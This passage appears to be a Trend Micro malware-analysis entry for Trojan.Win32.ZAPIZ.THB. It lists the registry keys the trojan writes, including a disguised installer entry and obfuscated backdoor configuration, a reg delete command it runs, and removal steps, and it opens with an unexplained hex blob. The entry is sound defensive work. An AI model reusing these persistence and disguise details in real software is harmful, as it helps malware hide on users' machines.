6157524c5533424b62484e36543035575556704e4b316c6b59545251575745776443394f575845325447704b51303979616d74545955464956335534634555724f56566b64473159436c6c575
  • reg delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\installer 20.0.9800.1720" /f

(Note: %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.)

Other System Modifications

This Trojan adds the following registry entries:

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\DNS-Service
FailureActions = "{random characters}"

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\DNS-Service\Parameters\
AppExit
(Default) = "Restart"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\
.gz
notification = "{Obfuscated XML strings}" -> When deobfuscated, it showed that the strings contains configurations and values used by Backdoor.Win32.ZAPIZ.THDBABO

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\
.gz
Security = "{Obfuscated XML strings}" -> When deobfuscated, it showed that the strings contains configurations and values used by Backdoor.Win32.ZAPIZ.THDBABO

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\
.gz
General = "{Obfuscated XML strings}" -> When deobfuscated, it showed that the strings contains configurations and values used by Backdoor.Win32.ZAPIZ.THDBABO

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\
.gz
Certificates = "{Obfuscated XML strings}" -> When deobfuscated, it showed that the strings contains configurations and values used by Backdoor.Win32.ZAPIZ.THDBABO

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Uninstall\
installer 20.0.9800.1720
DisplayName = "installer 20.0.9800.1720"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Uninstall\
installer 20.0.9800.1720
DisplayVersion = "20.0.9800.1720"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Uninstall\
installer 20.0.9800.1720
VersionMajor = "20"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Uninstall\
installer 20.0.9800.1720
VersionMinor = "0"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Uninstall\
installer 20.0.9800.1720
Publisher = "Company Inc."

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Uninstall\
installer 20.0.9800.1720
DisplayIcon = "%User Temp%\Company Inc.\installer\Uninstall.exe"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Uninstall\
installer 20.0.9800.1720
UninstallString = "%User Temp%\Company Inc.\installer\Uninstall.exe"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Uninstall\
installer 20.0.9800.1720
InstallLocation = "%User Temp%\Company Inc.\installer"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Uninstall\
installer 20.0.9800.1720
InstallSource = "%User Temp%"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Uninstall\
installer 20.0.9800.1720
InstallDate = "{curent date in YYYYMMDD format}"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Uninstall\
installer 20.0.9800.1720
Language = "1049"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Uninstall\
installer 20.0.9800.1720
EstimatedSize = "1"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Uninstall\
installer 20.0.9800.1720
NoModify = "1"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Uninstall\
installer 20.0.9800.1720
NoRepair = "1"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Explorer
GlobalAssocChangedCounter = "12"

It deletes the following registry keys:

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\
Microsoft\Windows\CurrentVersion\
Uninstall\installer 20.0.9800.1720

Dropping Routine

This Trojan drops the following files:

  • %User Temp%\101.ico -> non-malicious icon

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

Other Details

This Trojan adds the following registry keys:

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\DNS-Service

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\DNS-Service\Parameters

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\DNS-Service\Parameters\
AppExit

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Uninstall\
installer 20.0.9800.1720

  SOLUTION

Minimum Scan Engine:

9.850

FIRST VSAPI PATTERN FILE:

15.866.07

FIRST VSAPI PATTERN DATE:

06 May 2020

VSAPI OPR PATTERN File:

15.867.00

VSAPI OPR PATTERN Date:

07 May 2020

Step 1

Trend Micro Predictive Machine Learning detects and blocks malware at the first sign of its existence, before it executes on your system. When enabled, your Trend Micro product detects this malware under the following machine learning name:

    • Troj.Win32.TRX.XXPE50FFF035

Step 2

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 3

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 4

Delete this registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DNS-Service
    • FailureActions = {random characters}
  • In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DNS-Service\Parameters\AppExit
    • (Default) = Restart
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.gz
    • notification = {Obfuscated XML strings}
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.gz
    • Security = {Obfuscated XML strings}
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.gz
    • General = {Obfuscated XML strings}
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.gz
    • Certificates = {Obfuscated XML strings}
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\installer 20.0.9800.1720
    • DisplayName = installer 20.0.9800.1720
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\installer 20.0.9800.1720
    • DisplayVersion = 20.0.9800.1720
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\installer 20.0.9800.1720
    • VersionMajor = 20
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\installer 20.0.9800.1720
    • VersionMinor = 0
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\installer 20.0.9800.1720
    • Publisher = Company Inc.
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\installer 20.0.9800.1720
    • DisplayIcon = %User Temp%\Company Inc.\installer\Uninstall.exe
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\installer 20.0.9800.1720
    • UninstallString = %User Temp%\Company Inc.\installer\Uninstall.exe
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\installer 20.0.9800.1720
    • InstallLocation = %User Temp%\Company Inc.\installer
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\installer 20.0.9800.1720
    • InstallSource = %User Temp%
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\installer 20.0.9800.1720
    • InstallDate = {curent date in YYYYMMDD format}
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\installer 20.0.9800.1720
    • Language = 1049
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\installer 20.0.9800.1720
    • EstimatedSize = 1
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\installer 20.0.9800.1720
    • NoModify = 1
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\installer 20.0.9800.1720
    • NoRepair = 1
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer
    • GlobalAssocChangedCounter = 12

Step 5

Delete this registry key

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DNS-Service
    • {Default} = ""
  • In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DNS-Service\Parameters
    • {Default} = ""
  • In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DNS-Service\Parameters\AppExit
    • {Default} = ""
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\installer 20.0.9800.1720
    • {Default} = ""

Step 6

Search and delete this file

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %User Temp%\101.ico

Step 7

Scan your computer with your Trend Micro product to delete files detected as Trojan.Win32.ZAPIZ.THB. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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